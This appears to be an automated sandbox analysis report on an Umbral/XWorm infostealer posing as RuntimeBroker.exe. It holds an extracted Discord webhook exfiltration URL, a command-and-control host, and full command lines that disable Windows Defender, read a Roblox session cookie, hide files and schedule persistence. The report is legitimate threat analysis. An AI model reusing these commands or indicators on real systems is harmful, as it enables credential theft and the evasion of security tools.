Analysis
-
max time kernel
147s -
max time network
146s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
22-09-2024 10:36
Static task
static1
Behavioral task
behavioral1
Sample
RuntimeBroker.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
RuntimeBroker.exe
Resource
win10v2004-20240802-en
General
-
Target
RuntimeBroker.exe
-
Size
346KB
-
MD5
6a983258dfa7b270cc0938e4c453f66a
-
SHA1
21cb0158a55a859552fbfe442b7e7ca04c3dd77f
-
SHA256
2b80a0860ed3b8e262f242f251839d513808829fc3e209b93d2048c272ccc205
-
SHA512
7273d35af4e4c590566c9d514a26a24aa71696a94aab0a0bfc30820d6a6e9918044cd0df11c20b9b983b3b30edcfecc76a6e9670bdbb8ab7a7ed48c9d405fef5
-
SSDEEP
6144:q/cLTw+cOiFUk6Pv6U9yy/J6cIiPx166FpQoO/KzFHT809ii6VfNtvAeB9:q0LdcOiFhXKU6/3zFA09iD1tIeB9
Malware Config
Extracted
umbral
https://discord.com/api/webhooks/1287360783734411274/Muly1yjywcFg321yTLGVUf6Ilh44xbfhxhT17VnDw6_iOfAw6PaTOvV1EsNLG7xaTeEl
Extracted
xworm
expected-schema.gl.at.ply.gg:2980
-
Install_directory
%Userprofile%
-
install_file
USB.exe
Signatures
-
Detect Umbral payload 2 IoCs
resource yara_rule behavioral1/files/0x0007000000018b3e-12.dat family_umbral behavioral1/memory/2872-18-0x00000000000F0000-0x0000000000130000-memory.dmp family_umbral -
Detect Xworm Payload 3 IoCs
resource yara_rule behavioral1/files/0x000d000000012255-6.dat family_xworm behavioral1/memory/1964-14-0x0000000001150000-0x000000000116A000-memory.dmp family_xworm behavioral1/memory/2224-199-0x0000000001140000-0x000000000115A000-memory.dmp family_xworm -
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
pid Process 1148 powershell.exe 2732 powershell.exe 940 powershell.exe 3000 powershell.exe 2356 powershell.exe 1768 powershell.exe 1624 powershell.exe 2268 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts Umbrall.exe -
Drops startup file 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.lnk RuntimeBroker.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.lnk RuntimeBroker.exe -
Executes dropped EXE 5 IoCs
pid Process 1964 RuntimeBroker.exe 2872 Umbrall.exe 2788 SynsWave.exe 2224 RuntimeBroker 628 RuntimeBroker -
Loads dropped DLL 1 IoCs
pid Process 2248 RuntimeBroker.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "C:\\Users\\Admin\\RuntimeBroker" RuntimeBroker.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
flow ioc 11 discord.com 12 discord.com 26 raw.githubusercontent.com 27 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 7 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2764 cmd.exe 2912 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1912 wmic.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 SynsWave.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e SynsWave.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e SynsWave.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2912 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3040 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 17 IoCs
pid Process 2872 Umbrall.exe 2268 powershell.exe 1148 powershell.exe 2732 powershell.exe 2016 powershell.exe 3000 powershell.exe 2356 powershell.exe 1768 powershell.exe 940 powershell.exe 1624 powershell.exe 1964 RuntimeBroker.exe 1964 RuntimeBroker.exe 1964 RuntimeBroker.exe 1964 RuntimeBroker.exe 1964 RuntimeBroker.exe 1964 RuntimeBroker.exe 1964 RuntimeBroker.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1964 RuntimeBroker.exe Token: SeDebugPrivilege 2872 Umbrall.exe Token: SeIncreaseQuotaPrivilege 2360 wmic.exe Token: SeSecurityPrivilege 2360 wmic.exe Token: SeTakeOwnershipPrivilege 2360 wmic.exe Token: SeLoadDriverPrivilege 2360 wmic.exe Token: SeSystemProfilePrivilege 2360 wmic.exe Token: SeSystemtimePrivilege 2360 wmic.exe Token: SeProfSingleProcessPrivilege 2360 wmic.exe Token: SeIncBasePriorityPrivilege 2360 wmic.exe Token: SeCreatePagefilePrivilege 2360 wmic.exe Token: SeBackupPrivilege 2360 wmic.exe Token: SeRestorePrivilege 2360 wmic.exe Token: SeShutdownPrivilege 2360 wmic.exe Token: SeDebugPrivilege 2360 wmic.exe Token: SeSystemEnvironmentPrivilege 2360 wmic.exe Token: SeRemoteShutdownPrivilege 2360 wmic.exe Token: SeUndockPrivilege 2360 wmic.exe Token: SeManageVolumePrivilege 2360 wmic.exe Token: 33 2360 wmic.exe Token: 34 2360 wmic.exe Token: 35 2360 wmic.exe Token: SeIncreaseQuotaPrivilege 2360 wmic.exe Token: SeSecurityPrivilege 2360 wmic.exe Token: SeTakeOwnershipPrivilege 2360 wmic.exe Token: SeLoadDriverPrivilege 2360 wmic.exe Token: SeSystemProfilePrivilege 2360 wmic.exe Token: SeSystemtimePrivilege 2360 wmic.exe Token: SeProfSingleProcessPrivilege 2360 wmic.exe Token: SeIncBasePriorityPrivilege 2360 wmic.exe Token: SeCreatePagefilePrivilege 2360 wmic.exe Token: SeBackupPrivilege 2360 wmic.exe Token: SeRestorePrivilege 2360 wmic.exe Token: SeShutdownPrivilege 2360 wmic.exe Token: SeDebugPrivilege 2360 wmic.exe Token: SeSystemEnvironmentPrivilege 2360 wmic.exe Token: SeRemoteShutdownPrivilege 2360 wmic.exe Token: SeUndockPrivilege 2360 wmic.exe Token: SeManageVolumePrivilege 2360 wmic.exe Token: 33 2360 wmic.exe Token: 34 2360 wmic.exe Token: 35 2360 wmic.exe Token: SeDebugPrivilege 2268 powershell.exe Token: SeDebugPrivilege 1148 powershell.exe Token: SeDebugPrivilege 2732 powershell.exe Token: SeDebugPrivilege 2016 powershell.exe Token: SeDebugPrivilege 3000 powershell.exe Token: SeDebugPrivilege 2356 powershell.exe Token: SeIncreaseQuotaPrivilege 796 wmic.exe Token: SeSecurityPrivilege 796 wmic.exe Token: SeTakeOwnershipPrivilege 796 wmic.exe Token: SeLoadDriverPrivilege 796 wmic.exe Token: SeSystemProfilePrivilege 796 wmic.exe Token: SeSystemtimePrivilege 796 wmic.exe Token: SeProfSingleProcessPrivilege 796 wmic.exe Token: SeIncBasePriorityPrivilege 796 wmic.exe Token: SeCreatePagefilePrivilege 796 wmic.exe Token: SeBackupPrivilege 796 wmic.exe Token: SeRestorePrivilege 796 wmic.exe Token: SeShutdownPrivilege 796 wmic.exe Token: SeDebugPrivilege 796 wmic.exe Token: SeSystemEnvironmentPrivilege 796 wmic.exe Token: SeRemoteShutdownPrivilege 796 wmic.exe Token: SeUndockPrivilege 796 wmic.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1964 RuntimeBroker.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2248 wrote to memory of 1964 2248 RuntimeBroker.exe 29 PID 2248 wrote to memory of 1964 2248 RuntimeBroker.exe 29 PID 2248 wrote to memory of 1964 2248 RuntimeBroker.exe 29 PID 2248 wrote to memory of 2872 2248 RuntimeBroker.exe 30 PID 2248 wrote to memory of 2872 2248 RuntimeBroker.exe 30 PID 2248 wrote to memory of 2872 2248 RuntimeBroker.exe 30 PID 2248 wrote to memory of 2788 2248 RuntimeBroker.exe 31 PID 2248 wrote to memory of 2788 2248 RuntimeBroker.exe 31 PID 2248 wrote to memory of 2788 2248 RuntimeBroker.exe 31 PID 2788 wrote to memory of 2948 2788 SynsWave.exe 33 PID 2788 wrote to memory of 2948 2788 SynsWave.exe 33 PID 2788 wrote to memory of 2948 2788 SynsWave.exe 33 PID 2872 wrote to memory of 2360 2872 Umbrall.exe 35 PID 2872 wrote to memory of 2360 2872 Umbrall.exe 35 PID 2872 wrote to memory of 2360 2872 Umbrall.exe 35 PID 2872 wrote to memory of 2060 2872 Umbrall.exe 37 PID 2872 wrote to memory of 2060 2872 Umbrall.exe 37 PID 2872 wrote to memory of 2060 2872 Umbrall.exe 37 PID 2872 wrote to memory of 2268 2872 Umbrall.exe 39 PID 2872 wrote to memory of 2268 2872 Umbrall.exe 39 PID 2872 wrote to memory of 2268 2872 Umbrall.exe 39 PID 2872 wrote to memory of 1148 2872 Umbrall.exe 41 PID 2872 wrote to memory of 1148 2872 Umbrall.exe 41 PID 2872 wrote to memory of 1148 2872 Umbrall.exe 41 PID 2872 wrote to memory of 2732 2872 Umbrall.exe 43 PID 2872 wrote to memory of 2732 2872 Umbrall.exe 43 PID 2872 wrote to memory of 2732 2872 Umbrall.exe 43 PID 2872 wrote to memory of 2016 2872 Umbrall.exe 45 PID 2872 wrote to memory of 2016 2872 Umbrall.exe 45 PID 2872 wrote to memory of 2016 2872 Umbrall.exe 45 PID 1964 wrote to memory of 3000 1964 RuntimeBroker.exe 47 PID 1964 wrote to memory of 3000 1964 RuntimeBroker.exe 47 PID 1964 wrote to memory of 3000 1964 RuntimeBroker.exe 47 PID 1964 wrote to memory of 2356 1964 RuntimeBroker.exe 49 PID 1964 wrote to memory of 2356 1964 RuntimeBroker.exe 49 PID 1964 wrote to memory of 2356 1964 RuntimeBroker.exe 49 PID 2872 wrote to memory of 796 2872 Umbrall.exe 51 PID 2872 wrote to memory of 796 2872 Umbrall.exe 51 PID 2872 wrote to memory of 796 2872 Umbrall.exe 51 PID 1964 wrote to memory of 1768 1964 RuntimeBroker.exe 53 PID 1964 wrote to memory of 1768 1964 RuntimeBroker.exe 53 PID 1964 wrote to memory of 1768 1964 RuntimeBroker.exe 53 PID 2872 wrote to memory of 1804 2872 Umbrall.exe 55 PID 2872 wrote to memory of 1804 2872 Umbrall.exe 55 PID 2872 wrote to memory of 1804 2872 Umbrall.exe 55 PID 2872 wrote to memory of 1500 2872 Umbrall.exe 57 PID 2872 wrote to memory of 1500 2872 Umbrall.exe 57 PID 2872 wrote to memory of 1500 2872 Umbrall.exe 57 PID 2872 wrote to memory of 940 2872 Umbrall.exe 59 PID 2872 wrote to memory of 940 2872 Umbrall.exe 59 PID 2872 wrote to memory of 940 2872 Umbrall.exe 59 PID 1964 wrote to memory of 1624 1964 RuntimeBroker.exe 61 PID 1964 wrote to memory of 1624 1964 RuntimeBroker.exe 61 PID 1964 wrote to memory of 1624 1964 RuntimeBroker.exe 61 PID 2872 wrote to memory of 1912 2872 Umbrall.exe 63 PID 2872 wrote to memory of 1912 2872 Umbrall.exe 63 PID 2872 wrote to memory of 1912 2872 Umbrall.exe 63 PID 1964 wrote to memory of 3040 1964 RuntimeBroker.exe 65 PID 1964 wrote to memory of 3040 1964 RuntimeBroker.exe 65 PID 1964 wrote to memory of 3040 1964 RuntimeBroker.exe 65 PID 2872 wrote to memory of 2764 2872 Umbrall.exe 67 PID 2872 wrote to memory of 2764 2872 Umbrall.exe 67 PID 2872 wrote to memory of 2764 2872 Umbrall.exe 67 PID 2764 wrote to memory of 2912 2764 cmd.exe 69 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2060 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3000
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2356
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\RuntimeBroker'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1768
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1624
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "RuntimeBroker" /tr "C:\Users\Admin\RuntimeBroker"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3040
-
-
-
C:\Users\Admin\AppData\Roaming\Umbrall.exe"C:\Users\Admin\AppData\Roaming\Umbrall.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2872 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2360
-
-
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbrall.exe"3⤵
- Views/modifies file attributes
PID:2060
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbrall.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2268
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1148
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2732
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2016
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
- Suspicious use of AdjustPrivilegeToken
PID:796
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory3⤵PID:1804
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵PID:1500
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:940
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name3⤵
- Detects videocard installed
PID:1912
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Umbrall.exe" && pause3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\system32\PING.EXEping localhost4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2912
-
-
-
-
C:\Users\Admin\AppData\Roaming\SynsWave.exe"C:\Users\Admin\AppData\Roaming\SynsWave.exe"2⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵PID:2948
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {A50F70B5-CCE3-4657-ACAC-359D61DCE46A} S-1-5-21-457978338-2990298471-2379561640-1000:WOUOSVRD\Admin:Interactive:[1]1⤵PID:580
-
C:\Users\Admin\RuntimeBrokerC:\Users\Admin\RuntimeBroker2⤵
- Executes dropped EXE
PID:2224
-
-
C:\Users\Admin\RuntimeBrokerC:\Users\Admin\RuntimeBroker2⤵
- Executes dropped EXE
PID:628
-
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
-
Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD53be70e615aaf3c051cbd97726abb8df6
SHA1fc22f462ee756df96417e6cf0e1dcb6bba39b01a
SHA256dc4c3b437fa3d379822f861f6058e7d6379afd936c4c9221f5c1d244d5f488a9
SHA512714fe3f10535f9f7adba3bb7ffa46fcfdcf0d4d9ada83a5501cf7edf2cca57ec5b2c2443540250ff7a65c7feaf6bfa0d2a1456a3a6214c0c4678b7f222c94f5f
-
Filesize
80KB
MD55b8832e9845170717385ed9fb6dd6589
SHA1b51bbc5d54e0e7c84a3488ca16643e8c88e452fa
SHA25621ed3d77c21d3f856d7a0852f316abb104c90004e912fa330562435921a26d1d
SHA512841f88b766c9aae7d6ac3f8c6e563da16a1266bb795c38060d465451c15b0052b13e58e26ad95325253d9196d30717418cbe3c75ad19eaad21a9bdf9f5289fa6
-
Filesize
230KB
MD50b1ca5b7db9b402d2a2d5f2ceffb6d03
SHA1e29fc0c937e930ae463110e6954759bdad901063
SHA2567e7441520b44960fdc5fc8ec1b43c27a460baf7d84874d91fc78f4f97fd85aab
SHA5125106921b55ec7f907b79a5b5fcab8cd387f27005c1da9a64680e0c2bdb25b99a20bbe59132452176ad9dcee9d8c2d23a8326f786de6453ef47094723f3e9a8b3
-
Filesize
25KB
MD512e7359129744823438f3d6b97192955
SHA189872a5a18abefe25d10efa824281718cf85ae39
SHA256348086f9bd5939a48efcc94702271c1caf92ea11f3b0385367daf9530b51cf3e
SHA512b38516752817d3ac6541d300cc17176c5bf1c38d321fd19c006cb1f5cf9d5ab7a228184ed267636841225e718f71d9cd8aed5e53e36c7ee3548ed6958b9e8563